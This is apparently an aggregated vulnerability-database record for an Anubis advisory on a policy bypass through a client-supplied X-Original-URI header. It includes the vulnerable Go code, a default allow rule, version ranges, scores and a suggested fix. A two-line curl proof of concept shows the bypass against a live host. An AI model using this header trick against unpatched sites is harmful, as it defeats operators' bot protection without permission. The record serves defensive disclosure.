{"schema":"threatline.record/2","record":{"id":"CVE-2026-62314","aliases":["GHSA-6wcg-mqvh-fcvg","GO-2026-6639"],"summary":"Anubis: Policy bypass via client controlled X-Original-URI header","details":"Any HTTP client can bypass Anubis bot protection on the default configuration by adding a single request header. No challenge needs to be solved.\nAffected versions: v1.22.0 through v1.25.0 (introduced in commit d1d631a, PR #1015)\n\nThe root cause is in `lib/policy/checker.go`, `PathChecker.Check()`:\n```go\nfunc (pc *PathChecker) Check(r *http.Request) (bool, error) {\n    originalUrl := r.Header.Get(\"X-Original-URI\")\n    if originalUrl != \"\" {\n        if pc.regexp.MatchString(originalUrl) {\n            return true, nil\n        }\n    }\n    if pc.regexp.MatchString(r.URL.Path) {\n        return true, nil\n    }\n    return false, nil\n}\n```\n\nThe header value comes directly from the client request. The middleware chain never strips it. In reverse proxy mode an attacker fully controls it.\nThe default policy imports `data/common/keep-internet-working.yaml`, which contains path-only ALLOW rules with no other conditions:\n\n```yaml\n- name: well-known\n  path_regex: ^/\\.well-known/.*$\n  action: ALLOW\n```\n\nWhen `X-Original-URI` matches one of those regexes, the rule fires as ALLOW and the request is forwarded upstream without any challenge or JWT check.\n\n\n# Proof of concept\n\nNormal request, gets challenged:\n```\ncurl -s https://anubis.techaro.lol/ | grep -o \"<title>.*</title>\"\n```\n\nBypass, gets upstream content:\n```\ncurl -s -H \"X-Original-URI: /.well-known/x\" https://anubis.techaro.lol/ | grep -o \"<title>.*</title>\"\n```\n\nThe first command returns the Anubis challenge page title. The second returns the real site title directly, with no cookie set and no challenge issued. Verified live against anubis.techaro.lol.\n\n# Suggested fix\nThe fix should probably be to strip the header from incoming client requests in the middleware chain before policy evaluation. In `auth_request` mode the header is set by the proxy after Anubis processes the middleware, so stripping it at ingress does not break that deployment mode.","categories":["Libraries & packages"],"product":"github.com/TecharoHQ/anubis","vendor":"TecharoHQ","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-6wcg-mqvh-fcvg","source_modified_at":"2026-10-02T18:22:09Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/TecharoHQ/anubis"},"range":">= 1.22.0, < 1.26.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-62314","source_modified_at":"2026-08-12T17:50:22.279Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"anubis","vendor":"TecharoHQ","versions":[{"status":"affected","version":">= 1.22.0, < 1.26.0-pre1"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-6wcg-mqvh-fcvg","source_modified_at":"2026-10-07T17:55:39.900896867Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"github.com/TecharoHQ/anubis","ecosystem":"Go","purl":"pkg:golang/github.com/TecharoHQ/anubis"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.22.0"},{"fixed":"1.26.0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-6wcg-mqvh-fcvg","source_modified_at":"2026-10-02T18:22:09Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/TecharoHQ/anubis"},"version":"1.26.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-6wcg-mqvh-fcvg","source_modified_at":"2026-10-07T17:55:39.900896867Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"github.com/TecharoHQ/anubis","ecosystem":"Go","purl":"pkg:golang/github.com/TecharoHQ/anubis"},"version":"1.26.0"}],"cvss":5.8,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.0027,"percentile":0.18253,"score_date":"2026-10-23"},"published_at":"2026-07-15T21:18:00.355Z","modified_at":"2026-10-07T17:55:39.900896867Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-6wcg-mqvh-fcvg","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-02T18:22:09Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-62314","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-08-12T17:50:22.279Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-6wcg-mqvh-fcvg","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-07T17:55:39.900896867Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-62314","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/TecharoHQ/anubis/security/advisories/GHSA-6wcg-mqvh-fcvg","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62314","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/TecharoHQ/anubis/pull/1630","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/TecharoHQ/anubis/commit/276b537776b281b1c4e01421435bc03ade3d8fc4","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/TecharoHQ/anubis/releases/tag/v1.26.0-pre1","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-6wcg-mqvh-fcvg","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-08-12T17:50:19.423991Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-07T17:55:39.900896867Z","content_hash":"7f0881aca571df9e65088e3d6321ebb181d2f7f696bde3c234afd0a4c1b23208"}}